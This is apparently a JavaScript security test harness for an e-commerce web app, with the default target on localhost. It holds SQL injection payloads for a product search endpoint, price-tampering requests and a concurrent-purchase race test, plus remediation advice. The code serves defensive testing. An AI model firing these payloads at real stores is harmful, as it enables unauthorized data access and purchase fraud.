1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581
|
class BusinessLogicSecurityTester { constructor(config = {}) { this.config = { baseUrl: config.baseUrl || 'http://localhost:3000', testTimeout: config.testTimeout || 30000, maxConcurrentTests: config.maxConcurrentTests || 5, ...config }; this.testResults = []; this.vulnerabilities = []; }
async runFullSecurityTestSuite() { console.log('[+] Starting business logic security test suite...'); const testSuites = [ this.testHiddenProductAccess.bind(this), this.testPriceManipulation.bind(this), this.testConcurrencyVulnerabilities.bind(this), this.testInventoryBypass.bind(this), this.testParameterTampering.bind(this) ]; const startTime = Date.now(); for (const testSuite of testSuites) { try { await testSuite(); } catch (error) { console.error(`[-] Test suite failed: ${error.message}`); } } const endTime = Date.now(); const duration = endTime - startTime; return this.generateTestReport(duration); }
async testHiddenProductAccess() { console.log('[+] Testing hidden product access vulnerabilities...'); const testCases = [ { name: 'SQL Injection - Comment Bypass', payload: "')--", description: 'Test SQL comment injection to bypass deletedAt filter' }, { name: 'SQL Injection - OR Bypass', payload: "') OR '1'='1", description: 'Test OR injection to bypass WHERE conditions' }, { name: 'SQL Injection - UNION Bypass', payload: "') UNION SELECT * FROM Products--", description: 'Test UNION injection to access all products' } ]; for (const testCase of testCases) { const result = await this.executeHiddenProductTest(testCase); this.testResults.push(result); if (result.vulnerability) { this.vulnerabilities.push(result.vulnerability); } } }
async executeHiddenProductTest(testCase) { const startTime = Date.now(); try { const response = await this.makeRequest('GET', '/rest/products/search', { q: testCase.payload }); const endTime = Date.now(); const duration = endTime - startTime; if (response.status === 200) { const products = response.data; const hiddenProducts = products.filter(p => p.deletedAt || p.isPublished === false ); if (hiddenProducts.length > 0) { return { testName: testCase.name, status: 'vulnerable', duration, details: { payload: testCase.payload, hiddenProductsFound: hiddenProducts.length, responseSize: products.length }, vulnerability: { type: 'Hidden Product Access', severity: 'high', description: testCase.description, payload: testCase.payload, impact: `Accessed ${hiddenProducts.length} hidden products`, recommendation: 'Implement parameterized queries and proper input validation' } }; } } return { testName: testCase.name, status: 'safe', duration, details: { payload: testCase.payload, responseStatus: response.status } }; } catch (error) { return { testName: testCase.name, status: 'error', duration: Date.now() - startTime, error: error.message }; } }
async testPriceManipulation() { console.log('[+] Testing price manipulation vulnerabilities...'); const productResponse = await this.makeRequest('GET', '/rest/products'); const products = productResponse.data; if (products.length === 0) { console.log('[-] No products available for price manipulation testing'); return; } const testProduct = products[0]; const originalPrice = parseFloat(testProduct.price); const testCases = [ { name: 'Extreme Low Price', manipulatedPrice: 0.01, description: 'Test setting price to minimum possible value' }, { name: 'Negative Price', manipulatedPrice: -10.00, description: 'Test negative price values' }, { name: 'Zero Price', manipulatedPrice: 0, description: 'Test zero price values' }, { name: 'String Price', manipulatedPrice: '0.01', description: 'Test string price values' } ]; for (const testCase of testCases) { const result = await this.executePriceManipulationTest(testProduct, testCase); this.testResults.push(result); if (result.vulnerability) { this.vulnerabilities.push(result.vulnerability); } } }
async executePriceManipulationTest(product, testCase) { const startTime = Date.now(); try { const loginResponse = await this.makeRequest('POST', '/rest/user/login', { email: '[email protected]', password: 'password123' }); if (loginResponse.status !== 200) { throw new Error('Login failed'); } const token = loginResponse.data.token; const headers = { 'Authorization': `Bearer ${token}` }; const cartResponse = await this.makeRequest('POST', '/api/BasketItems/', { ProductId: product.id, quantity: 1, price: testCase.manipulatedPrice, BasketId: 'basket' }, headers); const endTime = Date.now(); const duration = endTime - startTime; if (cartResponse.status === 201) { const checkoutResponse = await this.makeRequest('POST', '/api/BasketItems/checkout', {}, headers); if (checkoutResponse.status === 200) { const order = checkoutResponse.data; const actualPrice = parseFloat(order.totalAmount); const expectedPrice = parseFloat(testCase.manipulatedPrice); if (Math.abs(actualPrice - expectedPrice) < 0.01) { return { testName: testCase.name, status: 'vulnerable', duration, details: { originalPrice: product.price, manipulatedPrice: testCase.manipulatedPrice, actualChargedPrice: actualPrice, savings: product.price - actualPrice }, vulnerability: { type: 'Price Manipulation', severity: 'critical', description: testCase.description, manipulatedPrice: testCase.manipulatedPrice, actualPrice: actualPrice, impact: `Price manipulation successful: $${product.price} → $${actualPrice}`, recommendation: 'Never trust client-side price data. Always use server-side price validation.' } }; } } } return { testName: testCase.name, status: 'safe', duration, details: { originalPrice: product.price, manipulatedPrice: testCase.manipulatedPrice, responseStatus: cartResponse.status } }; } catch (error) { return { testName: testCase.name, status: 'error', duration: Date.now() - startTime, error: error.message }; } }
async testConcurrencyVulnerabilities() { console.log('[+] Testing concurrency vulnerabilities...'); const productResponse = await this.makeRequest('GET', '/rest/products'); const products = productResponse.data; if (products.length === 0) { console.log('[-] No products available for concurrency testing'); return; } const testProduct = products[0]; const result = await this.executeConcurrencyTest(testProduct); this.testResults.push(result); if (result.vulnerability) { this.vulnerabilities.push(result.vulnerability); } }
async executeConcurrencyTest(product) { const startTime = Date.now(); const threadCount = 10; const promises = []; for (let i = 0; i < threadCount; i++) { const promise = this.concurrentPurchaseWorker(product, i); promises.push(promise); } try { const results = await Promise.all(promises); const endTime = Date.now(); const duration = endTime - startTime; const successfulPurchases = results.filter(r => r.success); const failedPurchases = results.filter(r => !r.success); if (successfulPurchases.length > 1) { return { testName: 'Concurrency Race Condition', status: 'vulnerable', duration, details: { totalAttempts: threadCount, successfulPurchases: successfulPurchases.length, failedPurchases: failedPurchases.length, raceConditionDetected: true }, vulnerability: { type: 'Race Condition', severity: 'high', description: 'Concurrent purchases allow multiple orders for limited stock', impact: `${successfulPurchases.length} successful purchases from ${threadCount} concurrent attempts`, recommendation: 'Implement proper database locking and transaction isolation' } }; } return { testName: 'Concurrency Race Condition', status: 'safe', duration, details: { totalAttempts: threadCount, successfulPurchases: successfulPurchases.length, failedPurchases: failedPurchases.length, raceConditionDetected: false } }; } catch (error) { return { testName: 'Concurrency Race Condition', status: 'error', duration: Date.now() - startTime, error: error.message }; } }
async concurrentPurchaseWorker(product, workerId) { try { const loginResponse = await this.makeRequest('POST', '/rest/user/login', { email: `worker${workerId}@example.com`, password: 'password123' }); if (loginResponse.status !== 200) { return { success: false, error: 'Login failed' }; } const token = loginResponse.data.token; const headers = { 'Authorization': `Bearer ${token}` }; const cartResponse = await this.makeRequest('POST', '/api/BasketItems/', { ProductId: product.id, quantity: 1, price: product.price, BasketId: 'basket' }, headers); if (cartResponse.status !== 201) { return { success: false, error: 'Add to cart failed' }; } const checkoutResponse = await this.makeRequest('POST', '/api/BasketItems/checkout', {}, headers); if (checkoutResponse.status === 200) { return { success: true, order: checkoutResponse.data, workerId }; } else { return { success: false, error: 'Checkout failed' }; } } catch (error) { return { success: false, error: error.message }; } }
async makeRequest(method, path, data = {}, headers = {}) { const axios = require('axios'); const config = { method, url: `${this.config.baseUrl}${path}`, timeout: this.config.testTimeout, headers: { 'Content-Type': 'application/json', ...headers } }; if (Object.keys(data).length > 0) { config.data = data; } try { const response = await axios(config); return { status: response.status, data: response.data, headers: response.headers }; } catch (error) { if (error.response) { return { status: error.response.status, data: error.response.data, headers: error.response.headers }; } else { throw error; } } }
generateTestReport(totalDuration) { const vulnerableTests = this.testResults.filter(t => t.status === 'vulnerable'); const safeTests = this.testResults.filter(t => t.status === 'safe'); const errorTests = this.testResults.filter(t => t.status === 'error'); const report = { summary: { totalTests: this.testResults.length, vulnerableTests: vulnerableTests.length, safeTests: safeTests.length, errorTests: errorTests.length, totalDuration, vulnerabilitiesFound: this.vulnerabilities.length }, testResults: this.testResults, vulnerabilities: this.vulnerabilities, recommendations: this.generateRecommendations() }; console.log('\n[+] Business Logic Security Test Report:'); console.log(` Total Tests: ${report.summary.totalTests}`); console.log(` Vulnerable: ${report.summary.vulnerableTests}`); console.log(` Safe: ${report.summary.safeTests}`); console.log(` Errors: ${report.summary.errorTests}`); console.log(` Duration: ${(report.summary.totalDuration / 1000).toFixed(2)}s`); console.log(` Vulnerabilities Found: ${report.summary.vulnerabilitiesFound}`); if (this.vulnerabilities.length > 0) { console.log('\n[!] Critical Vulnerabilities Detected:'); this.vulnerabilities.forEach(vuln => { console.log(` - ${vuln.type} (${vuln.severity}): ${vuln.description}`); }); } return report; }
generateRecommendations() { const recommendations = []; if (this.vulnerabilities.some(v => v.type === 'Hidden Product Access')) { recommendations.push({ priority: 'high', issue: 'SQL Injection in Product Search', recommendation: 'Implement parameterized queries and input validation', codeExample: ` // 不安全的查询 const sql = \`SELECT * FROM Products WHERE name LIKE '%${query}%'\`;
// 安全的查询 const sql = 'SELECT * FROM Products WHERE name LIKE ?'; db.query(sql, [\`%${query}%\`], callback); ` }); } if (this.vulnerabilities.some(v => v.type === 'Price Manipulation')) { recommendations.push({ priority: 'critical', issue: 'Client-Side Price Trust', recommendation: 'Never trust client-side price data. Always use server-side validation.', codeExample: ` // 不安全的做法 const cartItem = { ProductId: req.body.ProductId, price: req.body.price, // 危险:使用客户端价格 quantity: req.body.quantity };
// 安全的做法 const product = await getProduct(req.body.ProductId); const cartItem = { ProductId: req.body.ProductId, price: product.price, // 安全:使用服务端价格 quantity: req.body.quantity }; ` }); } if (this.vulnerabilities.some(v => v.type === 'Race Condition')) { recommendations.push({ priority: 'high', issue: 'Concurrency Race Conditions', recommendation: 'Implement database locking and proper transaction isolation', codeExample: ` // 使用数据库锁防止竞态条件 db.beginTransaction((err) => { // 锁定商品记录 db.query('SELECT * FROM Products WHERE id = ? FOR UPDATE', [productId], (err, results) => { // 检查库存 // 更新库存 // 提交事务 }); }); ` }); } return recommendations; } }
module.exports = { BusinessLogicSecurityTester };
|